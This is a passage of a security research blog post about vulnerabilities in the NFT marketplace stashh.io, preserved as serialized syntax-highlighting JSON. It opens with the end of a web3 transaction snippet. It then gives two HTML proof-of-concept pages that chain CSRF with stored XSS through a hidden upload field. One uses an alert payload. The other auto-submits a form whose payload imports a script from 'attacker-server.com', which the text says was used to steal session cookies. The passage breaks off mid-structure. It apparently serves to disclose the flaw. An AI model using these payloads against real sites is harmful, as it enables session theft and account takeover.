,{"type":24,"tag":930,"props":35299,"children":35300},{"emptyLinePlaceholder":16},[35301],{"type":30,"value":2412},{"type":24,"tag":930,"props":35303,"children":35304},{"class":932,"line":2119},[35305,35310,35314,35318,35322,35327,35331,35336],{"type":24,"tag":930,"props":35306,"children":35307},{"style":1023},[35308],{"type":30,"value":35309},"      web3",{"type":24,"tag":930,"props":35311,"children":35312},{"style":959},[35313],{"type":30,"value":436},{"type":24,"tag":930,"props":35315,"children":35316},{"style":1023},[35317],{"type":30,"value":35089},{"type":24,"tag":930,"props":35319,"children":35320},{"style":959},[35321],{"type":30,"value":436},{"type":24,"tag":930,"props":35323,"children":35324},{"style":1002},[35325],{"type":30,"value":35326},"sendTransaction",{"type":24,"tag":930,"props":35328,"children":35329},{"style":959},[35330],{"type":30,"value":1010},{"type":24,"tag":930,"props":35332,"children":35333},{"style":1023},[35334],{"type":30,"value":35335},"transactionObject",{"type":24,"tag":930,"props":35337,"children":35338},{"style":959},[35339],{"type":30,"value":1278},{"type":24,"tag":930,"props":35341,"children":35342},{"class":932,"line":2135},[35343],{"type":24,"tag":930,"props":35344,"children":35345},{"style":959},[35346],{"type":30,"value":35347},"    });\n",{"type":24,"tag":930,"props":35349,"children":35350},{"class":932,"line":2171},[35351],{"type":24,"tag":930,"props":35352,"children":35353},{"style":959},[35354],{"type":30,"value":8984},{"type":24,"tag":930,"props":35356,"children":35357},{"class":932,"line":2180},[35358],{"type":24,"tag":930,"props":35359,"children":35360},{"style":959},[35361],{"type":30,"value":2528},{"type":24,"tag":930,"props":35363,"children":35364},{"class":932,"line":2220},[35365],{"type":24,"tag":930,"props":35366,"children":35367},{"emptyLinePlaceholder":16},[35368],{"type":30,"value":2412},{"type":24,"tag":930,"props":35370,"children":35371},{"class":932,"line":2246},[35372,35376,35380,35385],{"type":24,"tag":930,"props":35373,"children":35374},{"style":937},[35375],{"type":30,"value":22586},{"type":24,"tag":930,"props":35377,"children":35378},{"style":959},[35379],{"type":30,"value":1010},{"type":24,"tag":930,"props":35381,"children":35382},{"style":1270},[35383],{"type":30,"value":35384},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":24,"tag":930,"props":35386,"children":35387},{"style":959},[35388],{"type":30,"value":1278},{"type":24,"tag":930,"props":35390,"children":35391},{"class":932,"line":2269},[35392,35397,35401,35405,35409,35414],{"type":24,"tag":930,"props":35393,"children":35394},{"style":1002},[35395],{"type":30,"value":35396},"setTimeout",{"type":24,"tag":930,"props":35398,"children":35399},{"style":959},[35400],{"type":30,"value":1010},{"type":24,"tag":930,"props":35402,"children":35403},{"style":1023},[35404],{"type":30,"value":34585},{"type":24,"tag":930,"props":35406,"children":35407},{"style":959},[35408],{"type":30,"value":962},{"type":24,"tag":930,"props":35410,"children":35411},{"style":1242},[35412],{"type":30,"value":35413},"1e3",{"type":24,"tag":930,"props":35415,"children":35416},{"style":959},[35417],{"type":30,"value":1278},{"type":24,"tag":33,"props":35419,"children":35420},{},[35421,35426],{"type":24,"tag":275,"props":35422,"children":35423},{},[35424],{"type":30,"value":35425},"CSRF & XSS",{"type":30,"value":35427},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":24,"tag":33,"props":35429,"children":35430},{},[35431,35433,35438],{"type":30,"value":35432},"Our attention was drawn to ",{"type":24,"tag":37,"props":35434,"children":35436},{"href":34372,"rel":35435},[41],[35437],{"type":30,"value":34376},{"type":30,"value":35439},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":24,"tag":33,"props":35441,"children":35442},{},[35443],{"type":24,"tag":140,"props":35444,"children":35446},{"alt":7,"src":35445},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":24,"tag":33,"props":35448,"children":35449},{},[35450],{"type":30,"value":35451},"and here there is the code:",{"type":24,"tag":920,"props":35453,"children":35455},{"className":34455,"code":35454,"language":34457,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[35456],{"type":24,"tag":156,"props":35457,"children":35458},{"__ignoreMap":7},[35459,35476,35493,35527,35613,35670,35868,35909,35925,35941,35948,35963,35970,35982,36041,36048,36111,36140,36178,36185,36223,36236,36243,36258],{"type":24,"tag":930,"props":35460,"children":35461},{"class":932,"line":933},[35462,35467,35472],{"type":24,"tag":930,"props":35463,"children":35465},{"style":35464},"--shiki-default:#808080",[35466],{"type":30,"value":1350},{"type":24,"tag":930,"props":35468,"children":35469},{"style":937},[35470],{"type":30,"value":35471},"html",{"type":24,"tag":930,"props":35473,"children":35474},{"style":35464},[35475],{"type":30,"value":9105},{"type":24,"tag":930,"props":35477,"children":35478},{"class":932,"line":984},[35479,35484,35489],{"type":24,"tag":930,"props":35480,"children":35481},{"style":35464},[35482],{"type":30,"value":35483},"  \u003C",{"type":24,"tag":930,"props":35485,"children":35486},{"style":937},[35487],{"type":30,"value":35488},"body",{"type":24,"tag":930,"props":35490,"children":35491},{"style":35464},[35492],{"type":30,"value":9105},{"type":24,"tag":930,"props":35494,"children":35495},{"class":932,"line":993},[35496,35500,35505,35509,35514,35519,35523],{"type":24,"tag":930,"props":35497,"children":35498},{"style":35464},[35499],{"type":30,"value":35483},{"type":24,"tag":930,"props":35501,"children":35502},{"style":937},[35503],{"type":30,"value":35504},"script",{"type":24,"tag":930,"props":35506,"children":35507},{"style":35464},[35508],{"type":30,"value":2261},{"type":24,"tag":930,"props":35510,"children":35511},{"style":959},[35512],{"type":30,"value":35513},"history.pushState('', '', '/')",{"type":24,"tag":930,"props":35515,"children":35516},{"style":35464},[35517],{"type":30,"value":35518},"\u003C/",{"type":24,"tag":930,"props":35520,"children":35521},{"style":937},[35522],{"type":30,"value":35504},{"type":24,"tag":930,"props":35524,"children":35525},{"style":35464},[35526],{"type":30,"value":9105},{"type":24,"tag":930,"props":35528,"children":35529},{"class":932,"line":1057},[35530,35535,35540,35545,35549,35554,35559,35563,35568,35572,35576,35581,35586,35590,35595,35600,35604,35609],{"type":24,"tag":930,"props":35531,"children":35532},{"style":35464},[35533],{"type":30,"value":35534},"    \u003C",{"type":24,"tag":930,"props":35536,"children":35537},{"style":937},[35538],{"type":30,"value":35539},"form",{"type":24,"tag":930,"props":35541,"children":35542},{"style":1023},[35543],{"type":30,"value":35544}," id",{"type":24,"tag":930,"props":35546,"children":35547},{"style":1158},[35548],{"type":30,"value":1161},{"type":24,"tag":930,"props":35550,"children":35551},{"style":1270},[35552],{"type":30,"value":35553},"\"form123\"",{"type":24,"tag":930,"props":35555,"children":35556},{"style":1023},[35557],{"type":30,"value":35558}," action",{"type":24,"tag":930,"props":35560,"children":35561},{"style":1158},[35562],{"type":30,"value":1161},{"type":24,"tag":930,"props":35564,"children":35565},{"style":1270},[35566],{"type":30,"value":35567},"\"https://stashh.io/upload_asset\"",{"type":24,"tag":930,"props":35569,"children":35570},{"style":1023},[35571],{"type":30,"value":20211},{"type":24,"tag":930,"props":35573,"children":35574},{"style":1158},[35575],{"type":30,"value":1161},{"type":24,"tag":930,"props":35577,"children":35578},{"style":1270},[35579],{"type":30,"value":35580},"\"POST\"",{"type":24,"tag":930,"props":35582,"children":35583},{"style":1023},[35584],{"type":30,"value":35585}," enctype",{"type":24,"tag":930,"props":35587,"children":35588},{"style":1158},[35589],{"type":30,"value":1161},{"type":24,"tag":930,"props":35591,"children":35592},{"style":1270},[35593],{"type":30,"value":35594},"\"multipart/form-data\"",{"type":24,"tag":930,"props":35596,"children":35597},{"style":1023},[35598],{"type":30,"value":35599}," value",{"type":24,"tag":930,"props":35601,"children":35602},{"style":1158},[35603],{"type":30,"value":1161},{"type":24,"tag":930,"props":35605,"children":35606},{"style":1270},[35607],{"type":30,"value":35608},"\"asd\"",{"type":24,"tag":930,"props":35610,"children":35611},{"style":35464},[35612],{"type":30,"value":9105},{"type":24,"tag":930,"props":35614,"children":35615},{"class":932,"line":1066},[35616,35621,35625,35630,35634,35639,35644,35648,35653,35657,35661,35666],{"type":24,"tag":930,"props":35617,"children":35618},{"style":35464},[35619],{"type":30,"value":35620},"     \u003C",{"type":24,"tag":930,"props":35622,"children":35623},{"style":937},[35624],{"type":30,"value":11476},{"type":24,"tag":930,"props":35626,"children":35627},{"style":1023},[35628],{"type":30,"value":35629}," type",{"type":24,"tag":930,"props":35631,"children":35632},{"style":1158},[35633],{"type":30,"value":1161},{"type":24,"tag":930,"props":35635,"children":35636},{"style":1270},[35637],{"type":30,"value":35638},"\"file\"",{"type":24,"tag":930,"props":35640,"children":35641},{"style":1023},[35642],{"type":30,"value":35643}," name",{"type":24,"tag":930,"props":35645,"children":35646},{"style":1158},[35647],{"type":30,"value":1161},{"type":24,"tag":930,"props":35649,"children":35650},{"style":1270},[35651],{"type":30,"value":35652},"\"data\"",{"type":24,"tag":930,"props":35654,"children":35655},{"style":1023},[35656],{"type":30,"value":35544},{"type":24,"tag":930,"props":35658,"children":35659},{"style":1158},[35660],{"type":30,"value":1161},{"type":24,"tag":930,"props":35662,"children":35663},{"style":1270},[35664],{"type":30,"value":35665},"\"file123\"",{"type":24,"tag":930,"props":35667,"children":35668},{"style":35464},[35669],{"type":30,"value":9105},{"type":24,"tag":930,"props":35671,"children":35672},{"class":932,"line":1075},[35673,35678,35682,35686,35690,35695,35699,35703,35708,35712,35716,35720,35725,35729,35734,35739,35744,35748,35753,35758,35763,35767,35772,35777,35781,35786,35791,35796,35801,35806,35811,35816,35820,35825,35830,35835,35840,35845,35849,35854,35859,35863],{"type":24,"tag":930,"props":35674,"children":35675},{"style":35464},[35676],{"type":30,"value":35677},"      \u003C",{"type":24,"tag":930,"props":35679,"children":35680},{"style":937},[35681],{"type":30,"value":11476},{"type":24,"tag":930,"props":35683,"children":35684},{"style":1023},[35685],{"type":30,"value":35629},{"type":24,"tag":930,"props":35687,"children":35688},{"style":1158},[35689],{"type":30,"value":1161},{"type":24,"tag":930,"props":35691,"children":35692},{"style":1270},[35693],{"type":30,"value":35694},"\"hidden\"",{"type":24,"tag":930,"props":35696,"children":35697},{"style":1023},[35698],{"type":30,"value":35643},{"type":24,"tag":930,"props":35700,"children":35701},{"style":1158},[35702],{"type":30,"value":1161},{"type":24,"tag":930,"props":35704,"children":35705},{"style":1270},[35706],{"type":30,"value":35707},"\"config\"",{"type":24,"tag":930,"props":35709,"children":35710},{"style":1023},[35711],{"type":30,"value":35599},{"type":24,"tag":930,"props":35713,"children":35714},{"style":1158},[35715],{"type":30,"value":1161},{"type":24,"tag":930,"props":35717,"children":35718},{"style":1270},[35719],{"type":30,"value":23163},{"type":24,"tag":930,"props":35721,"children":35722},{"style":937},[35723],{"type":30,"value":35724},"{"",{"type":24,"tag":930,"props":35726,"children":35727},{"style":1270},[35728],{"type":30,"value":1713},{"type":24,"tag":930,"props":35730,"children":35731},{"style":937},[35732],{"type":30,"value":35733},"":"",{"type":24,"tag":930,"props":35735,"children":35736},{"style":1270},[35737],{"type":30,"value":35738},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":24,"tag":930,"props":35740,"children":35741},{"style":937},[35742],{"type":30,"value":35743},"<",{"type":24,"tag":930,"props":35745,"children":35746},{"style":1270},[35747],{"type":30,"value":140},{"type":24,"tag":930,"props":35749,"children":35750},{"style":937},[35751],{"type":30,"value":35752},"/",{"type":24,"tag":930,"props":35754,"children":35755},{"style":1270},[35756],{"type":30,"value":35757},"src",{"type":24,"tag":930,"props":35759,"children":35760},{"style":937},[35761],{"type":30,"value":35762},"=",{"type":24,"tag":930,"props":35764,"children":35765},{"style":1270},[35766],{"type":30,"value":22378},{"type":24,"tag":930,"props":35768,"children":35769},{"style":937},[35770],{"type":30,"value":35771}," ",{"type":24,"tag":930,"props":35773,"children":35774},{"style":1270},[35775],{"type":30,"value":35776},"onerror",{"type":24,"tag":930,"props":35778,"children":35779},{"style":937},[35780],{"type":30,"value":35762},{"type":24,"tag":930,"props":35782,"children":35783},{"style":1270},[35784],{"type":30,"value":35785},"alert",{"type":24,"tag":930,"props":35787,"children":35788},{"style":937},[35789],{"type":30,"value":35790},"(",{"type":24,"tag":930,"props":35792,"children":35793},{"style":1270},[35794],{"type":30,"value":35795},"document",{"type":24,"tag":930,"props":35797,"children":35798},{"style":937},[35799],{"type":30,"value":35800},".",{"type":24,"tag":930,"props":35802,"children":35803},{"style":1270},[35804],{"type":30,"value":35805},"domain",{"type":24,"tag":930,"props":35807,"children":35808},{"style":937},[35809],{"type":30,"value":35810},")>","",{"type":24,"tag":930,"props":35812,"children":35813},{"style":1270},[35814],{"type":30,"value":35815},"to",{"type":24,"tag":930,"props":35817,"children":35818},{"style":937},[35819],{"type":30,"value":35733},{"type":24,"tag":930,"props":35821,"children":35822},{"style":1270},[35823],{"type":30,"value":35824},"profile",{"type":24,"tag":930,"props":35826,"children":35827},{"style":937},[35828],{"type":30,"value":35829},"-",{"type":24,"tag":930,"props":35831,"children":35832},{"style":1270},[35833],{"type":30,"value":35834},"assets",{"type":24,"tag":930,"props":35836,"children":35837},{"style":937},[35838],{"type":30,"value":35839},"","",{"type":24,"tag":930,"props":35841,"children":35842},{"style":1270},[35843],{"type":30,"value":35844},"type",{"type":24,"tag":930,"props":35846,"children":35847},{"style":937},[35848],{"type":30,"value":35733},{"type":24,"tag":930,"props":35850,"children":35851},{"style":1270},[35852],{"type":30,"value":35853},"icon",{"type":24,"tag":930,"props":35855,"children":35856},{"style":937},[35857],{"type":30,"value":35858},""}",{"type":24,"tag":930,"props":35860,"children":35861},{"style":1270},[35862],{"type":30,"value":23163},{"type":24,"tag":930,"props":35864,"children":35865},{"style":35464},[35866],{"type":30,"value":35867}," />\n",{"type":24,"tag":930,"props":35869,"children":35870},{"class":932,"line":1122},[35871,35875,35879,35883,35887,35892,35896,35900,35905],{"type":24,"tag":930,"props":35872,"children":35873},{"style":35464},[35874],{"type":30,"value":35677},{"type":24,"tag":930,"props":35876,"children":35877},{"style":937},[35878],{"type":30,"value":11476},{"type":24,"tag":930,"props":35880,"children":35881},{"style":1023},[35882],{"type":30,"value":35629},{"type":24,"tag":930,"props":35884,"children":35885},{"style":1158},[35886],{"type":30,"value":1161},{"type":24,"tag":930,"props":35888,"children":35889},{"style":1270},[35890],{"type":30,"value":35891},"\"submit\"",{"type":24,"tag":930,"props":35893,"children":35894},{"style":1023},[35895],{"type":30,"value":35599},{"type":24,"tag":930,"props":35897,"children":35898},{"style":1158},[35899],{"type":30,"value":1161},{"type":24,"tag":930,"props":35901,"children":35902},{"style":1270},[35903],{"type":30,"value":35904},"\"Submit request\"",{"type":24,"tag":930,"props":35906,"children":35907},{"style":35464},[35908],{"type":30,"value":35867},{"type":24,"tag":930,"props":35910,"children":35911},{"class":932,"line":1131},[35912,35917,35921],{"type":24,"tag":930,"props":35913,"children":35914},{"style":35464},[35915],{"type":30,"value":35916},"    \u003C/",{"type":24,"tag":930,"props":35918,"children":35919},{"style":937},[35920],{"type":30,"value":35539},{"type":24,"tag":930,"props":35922,"children":35923},{"style":35464},[35924],{"type":30,"value":9105},{"type":24,"tag":930,"props":35926,"children":35927},{"class":932,"line":1144},[35928,35933,35937],{"type":24,"tag":930,"props":35929,"children":35930},{"style":35464},[35931],{"type":30,"value":35932},"  \u003C/",{"type":24,"tag":930,"props":35934,"children":35935},{"style":937},[35936],{"type":30,"value":35488},{"type":24,"tag":930,"props":35938,"children":35939},{"style":35464},[35940],{"type":30,"value":9105},{"type":24,"tag":930,"props":35942,"children":35943},{"class":932,"line":1169},[35944],{"type":24,"tag":930,"props":35945,"children":35946},{"emptyLinePlaceholder":16},[35947],{"type":30,"value":2412},{"type":24,"tag":930,"props":35949,"children":35950},{"class":932,"line":1191},[35951,35955,35959],{"type":24,"tag":930,"props":35952,"children":35953},{"style":35464},[35954],{"type":30,"value":35483},{"type":24,"tag":930,"props":35956,"children":35957},{"style":937},[35958],{"type":30,"value":35504},{"type":24,"tag":930,"props":35960,"children":35961},{"style":35464},[35962],{"type":30,"value":9105},{"type":24,"tag":930,"props":35964,"children":35965},{"class":932,"line":1223},[35966],{"type":24,"tag":930,"props":35967,"children":35968},{"emptyLinePlaceholder":16},[35969],{"type":30,"value":2412},{"type":24,"tag":930,"props":35971,"children":35972},{"class":932,"line":1281},[35973,35978],{"type":24,"tag":930,"props":35974,"children":35975},{"style":959},[35976],{"type":30,"value":35977},"    (async ()=>",{"type":24,"tag":930,"props":35979,"children":35980},{"style":937},[35981],{"type":30,"value":13987},{"type":24,"tag":930,"props":35983,"children":35984},{"class":932,"line":1313},[35985,35990,35995,36000,36005,36009,36013,36018,36022,36027,36032,36037],{"type":24,"tag":930,"props":35986,"children":35987},{"style":1023},[35988],{"type":30,"value":35989},"        const",{"type":24,"tag":930,"props":35991,"children":35992},{"style":1023},[35993],{"type":30,"value":35994}," blob",{"type":24,"tag":930,"props":35996,"children":35997},{"style":1158},[35998],{"type":30,"value":35999}," = ",{"type":24,"tag":930,"props":36001,"children":36002},{"style":1079},[36003],{"type":30,"value":36004},"await",{"type":24,"tag":930,"props":36006,"children":36007},{"style":1158},[36008],{"type":30,"value":1087},{"type":24,"tag":930,"props":36010,"children":36011},{"style":1079},[36012],{"type":30,"value":36004},{"type":24,"tag":930,"props":36014,"children":36015},{"style":1002},[36016],{"type":30,"value":36017}," fetch",{"type":24,"tag":930,"props":36019,"children":36020},{"style":1158},[36021],{"type":30,"value":1010},{"type":24,"tag":930,"props":36023,"children":36024},{"style":1270},[36025],{"type":30,"value":36026},"\"/sapo.png\"",{"type":24,"tag":930,"props":36028,"children":36029},{"style":1158},[36030],{"type":30,"value":36031},")).",{"type":24,"tag":930,"props":36033,"children":36034},{"style":1002},[36035],{"type":30,"value":36036},"blob",{"type":24,"tag":930,"props":36038,"children":36039},{"style":1158},[36040],{"type":30,"value":10846},{"type":24,"tag":930,"props":36042,"children":36043},{"class":932,"line":1335},[36044],{"type":24,"tag":930,"props":36045,"children":36046},{"emptyLinePlaceholder":16},[36047],{"type":30,"value":2412},{"type":24,"tag":930,"props":36049,"children":36050},{"class":932,"line":1376},[36051,36055,36060,36064,36068,36073,36078,36082,36086,36091,36096,36101,36106],{"type":24,"tag":930,"props":36052,"children":36053},{"style":1023},[36054],{"type":30,"value":6186},{"type":24,"tag":930,"props":36056,"children":36057},{"style":1023},[36058],{"type":30,"value":36059}," f",{"type":24,"tag":930,"props":36061,"children":36062},{"style":1158},[36063],{"type":30,"value":35999},{"type":24,"tag":930,"props":36065,"children":36066},{"style":937},[36067],{"type":30,"value":18226},{"type":24,"tag":930,"props":36069,"children":36070},{"style":1002},[36071],{"type":30,"value":36072}," File",{"type":24,"tag":930,"props":36074,"children":36075},{"style":1158},[36076],{"type":30,"value":36077},"([",{"type":24,"tag":930,"props":36079,"children":36080},{"style":1023},[36081],{"type":30,"value":36036},{"type":24,"tag":930,"props":36083,"children":36084},{"style":1158},[36085],{"type":30,"value":26162},{"type":24,"tag":930,"props":36087,"children":36088},{"style":1270},[36089],{"type":30,"value":36090},"'sapo.png'",{"type":24,"tag":930,"props":36092,"children":36093},{"style":1158},[36094],{"type":30,"value":36095},", {",{"type":24,"tag":930,"props":36097,"children":36098},{"style":1023},[36099],{"type":30,"value":36100},"type:",{"type":24,"tag":930,"props":36102,"children":36103},{"style":1270},[36104],{"type":30,"value":36105}," 'image/png'",{"type":24,"tag":930,"props":36107,"children":36108},{"style":1158},[36109],{"type":30,"value":36110},"})\n",{"type":24,"tag":930,"props":36112,"children":36113},{"class":932,"line":1418},[36114,36118,36123,36127,36131,36136],{"type":24,"tag":930,"props":36115,"children":36116},{"style":1023},[36117],{"type":30,"value":35989},{"type":24,"tag":930,"props":36119,"children":36120},{"style":1023},[36121],{"type":30,"value":36122}," dataTransfer",{"type":24,"tag":930,"props":36124,"children":36125},{"style":1158},[36126],{"type":30,"value":35999},{"type":24,"tag":930,"props":36128,"children":36129},{"style":937},[36130],{"type":30,"value":18226},{"type":24,"tag":930,"props":36132,"children":36133},{"style":1002},[36134],{"type":30,"value":36135}," DataTransfer",{"type":24,"tag":930,"props":36137,"children":36138},{"style":1158},[36139],{"type":30,"value":1310},{"type":24,"tag":930,"props":36141,"children":36142},{"class":932,"line":1438},[36143,36148,36152,36157,36161,36165,36169,36174],{"type":24,"tag":930,"props":36144,"children":36145},{"style":1023},[36146],{"type":30,"value":36147},"        dataTransfer",{"type":24,"tag":930,"props":36149,"children":36150},{"style":1158},[36151],{"type":30,"value":436},{"type":24,"tag":930,"props":36153,"children":36154},{"style":1023},[36155],{"type":30,"value":36156},"items",{"type":24,"tag":930,"props":36158,"children":36159},{"style":1158},[36160],{"type":30,"value":436},{"type":24,"tag":930,"props":36162,"children":36163},{"style":1002},[36164],{"type":30,"value":3184},{"type":24,"tag":930,"props":36166,"children":36167},{"style":1158},[36168],{"type":30,"value":1010},{"type":24,"tag":930,"props":36170,"children":36171},{"style":1023},[36172],{"type":30,"value":36173},"f",{"type":24,"tag":930,"props":36175,"children":36176},{"style":1158},[36177],{"type":30,"value":1278},{"type":24,"tag":930,"props":36179,"children":36180},{"class":932,"line":1479},[36181],{"type":24,"tag":930,"props":36182,"children":36183},{"emptyLinePlaceholder":16},[36184],{"type":30,"value":2412},{"type":24,"tag":930,"props":36186,"children":36187},{"class":932,"line":1506},[36188,36193,36197,36202,36206,36211,36215,36219],{"type":24,"tag":930,"props":36189,"children":36190},{"style":1023},[36191],{"type":30,"value":36192},"        file123",{"type":24,"tag":930,"props":36194,"children":36195},{"style":1158},[36196],{"type":30,"value":436},{"type":24,"tag":930,"props":36198,"children":36199},{"style":1023},[36200],{"type":30,"value":36201},"files",{"type":24,"tag":930,"props":36203,"children":36204},{"style":1158},[36205],{"type":30,"value":35999},{"type":24,"tag":930,"props":36207,"children":36208},{"style":1023},[36209],{"type":30,"value":36210},"dataTransfer",{"type":24,"tag":930,"props":36212,"children":36213},{"style":1158},[36214],{"type":30,"value":436},{"type":24,"tag":930,"props":36216,"children":36217},{"style":1023},[36218],{"type":30,"value":36201},{"type":24,"tag":930,"props":36220,"children":36221},{"style":1158},[36222],{"type":30,"value":5539},{"type":24,"tag":930,"props":36224,"children":36225},{"class":932,"line":1525},[36226,36231],{"type":24,"tag":930,"props":36227,"children":36228},{"style":937},[36229],{"type":30,"value":36230},"    }",{"type":24,"tag":930,"props":36232,"children":36233},{"style":959},[36234],{"type":30,"value":36235},")()\n",{"type":24,"tag":930,"props":36237,"children":36238},{"class":932,"line":1569},[36239],{"type":24,"tag":930,"props":36240,"children":36241},{"emptyLinePlaceholder":16},[36242],{"type":30,"value":2412},{"type":24,"tag":930,"props":36244,"children":36245},{"class":932,"line":1592},[36246,36250,36254],{"type":24,"tag":930,"props":36247,"children":36248},{"style":35464},[36249],{"type":30,"value":35932},{"type":24,"tag":930,"props":36251,"children":36252},{"style":937},[36253],{"type":30,"value":35504},{"type":24,"tag":930,"props":36255,"children":36256},{"style":35464},[36257],{"type":30,"value":9105},{"type":24,"tag":930,"props":36259,"children":36260},{"class":932,"line":1610},[36261,36265,36269],{"type":24,"tag":930,"props":36262,"children":36263},{"style":35464},[36264],{"type":30,"value":35518},{"type":24,"tag":930,"props":36266,"children":36267},{"style":937},[36268],{"type":30,"value":35471},{"type":24,"tag":930,"props":36270,"children":36271},{"style":35464},[36272],{"type":30,"value":9105},{"type":24,"tag":33,"props":36274,"children":36275},{},[36276],{"type":30,"value":36277},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":24,"tag":33,"props":36279,"children":36280},{},[36281],{"type":30,"value":36282},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":24,"tag":33,"props":36284,"children":36285},{},[36286],{"type":30,"value":36287},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":24,"tag":33,"props":36289,"children":36290},{},[36291],{"type":30,"value":36292},"From here, we were able to steal the session cookie from local storage.",{"type":24,"tag":920,"props":36294,"children":36296},{"className":34455,"code":36295,"language":34457,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[36297],{"type":24,"tag":156,"props":36298,"children":36299},{"__ignoreMap":7},[36300,36315,36330,36361,36436,36487,36675,36714,36729,36744,36751,36766,36773,36784,36835,36842,36897,36924,36959,36966,37001,37008,37029,37040,37047,37062],{"type":24,"tag":930,"props":36301,"children":36302},{"class":932,"line":933},[36303,36307,36311],{"type":24,"tag":930,"props":36304,"children":36305},{"style":35464},[36306],{"type":30,"value":1350},{"type":24,"tag":930,"props":36308,"children":36309},{"style":937},[36310],{"type":30,"value":35471},{"type":24,"tag":930,"props":36312,"children":36313},{"style":35464},[36314],{"type":30,"value":9105},{"type":24,"tag":930,"props":36316,"children":36317},{"class":932,"line":984},[36318,36322,36326],{"type":24,"tag":930,"props":36319,"children":36320},{"style":35464},[36321],{"type":30,"value":35483},{"type":24,"tag":930,"props":36323,"children":36324},{"style":937},[36325],{"type":30,"value":35488},{"type":24,"tag":930,"props":36327,"children":36328},{"style":35464},[36329],{"type":30,"value":9105},{"type":24,"tag":930,"props":36331,"children":36332},{"class":932,"line":993},[36333,36337,36341,36345,36349,36353,36357],{"type":24,"tag":930,"props":36334,"children":36335},{"style":35464},[36336],{"type":30,"value":35483},{"type":24,"tag":930,"props":36338,"children":36339},{"style":937},[36340],{"type":30,"value":35504},{"type":24,"tag":930,"props":36342,"children":36343},{"style":35464},[36344],{"type":30,"value":2261},{"type":24,"tag":930,"props":36346,"children":36347},{"style":959},[36348],{"type":30,"value":35513},{"type":24,"tag":930,"props":36350,"children":36351},{"style":35464},[36352],{"type":30,"value":35518},{"type":24,"tag":930,"props":36354,"children":36355},{"style":937},[36356],{"type":30,"value":35504},{"type":24,"tag":930,"props":36358,"children":36359},{"style":35464},[36360],{"type":30,"value":9105},{"type":24,"tag":930,"props":36362,"children":36363},{"class":932,"line":1057},[36364,36368,36372,36376,36380,36384,36388,36392,36396,36400,36404,36408,36412,36416,36420,36424,36428,36432],{"type":24,"tag":930,"props":36365,"children":36366},{"style":35464},[36367],{"type":30,"value":35534},{"type":24,"tag":930,"props":36369,"children":36370},{"style":937},[36371],{"type":30,"value":35539},{"type":24,"tag":930,"props":36373,"children":36374},{"style":1023},[36375],{"type":30,"value":35544},{"type":24,"tag":930,"props":36377,"children":36378},{"style":1158},[36379],{"type":30,"value":1161},{"type":24,"tag":930,"props":36381,"children":36382},{"style":1270},[36383],{"type":30,"value":35553},{"type":24,"tag":930,"props":36385,"children":36386},{"style":1023},[36387],{"type":30,"value":35558},{"type":24,"tag":930,"props":36389,"children":36390},{"style":1158},[36391],{"type":30,"value":1161},{"type":24,"tag":930,"props":36393,"children":36394},{"style":1270},[36395],{"type":30,"value":35567},{"type":24,"tag":930,"props":36397,"children":36398},{"style":1023},[36399],{"type":30,"value":20211},{"type":24,"tag":930,"props":36401,"children":36402},{"style":1158},[36403],{"type":30,"value":1161},{"type":24,"tag":930,"props":36405,"children":36406},{"style":1270},[36407],{"type":30,"value":35580},{"type":24,"tag":930,"props":36409,"children":36410},{"style":1023},[36411],{"type":30,"value":35585},{"type":24,"tag":930,"props":36413,"children":36414},{"style":1158},[36415],{"type":30,"value":1161},{"type":24,"tag":930,"props":36417,"children":36418},{"style":1270},[36419],{"type":30,"value":35594},{"type":24,"tag":930,"props":36421,"children":36422},{"style":1023},[36423],{"type":30,"value":35599},{"type":24,"tag":930,"props":36425,"children":36426},{"style":1158},[36427],{"type":30,"value":1161},{"type":24,"tag":930,"props":36429,"children":36430},{"style":1270},[36431],{"type":30,"value":35608},{"type":24,"tag":930,"props":36433,"children":36434},{"style":35464},[36435],{"type":30,"value":9105},{"type":24,"tag":930,"props":36437,"children":36438},{"class":932,"line":1066},[36439,36443,36447,36451,36455,36459,36463,36467,36471,36475,36479,36483],{"type":24,"tag":930,"props":36440,"children":36441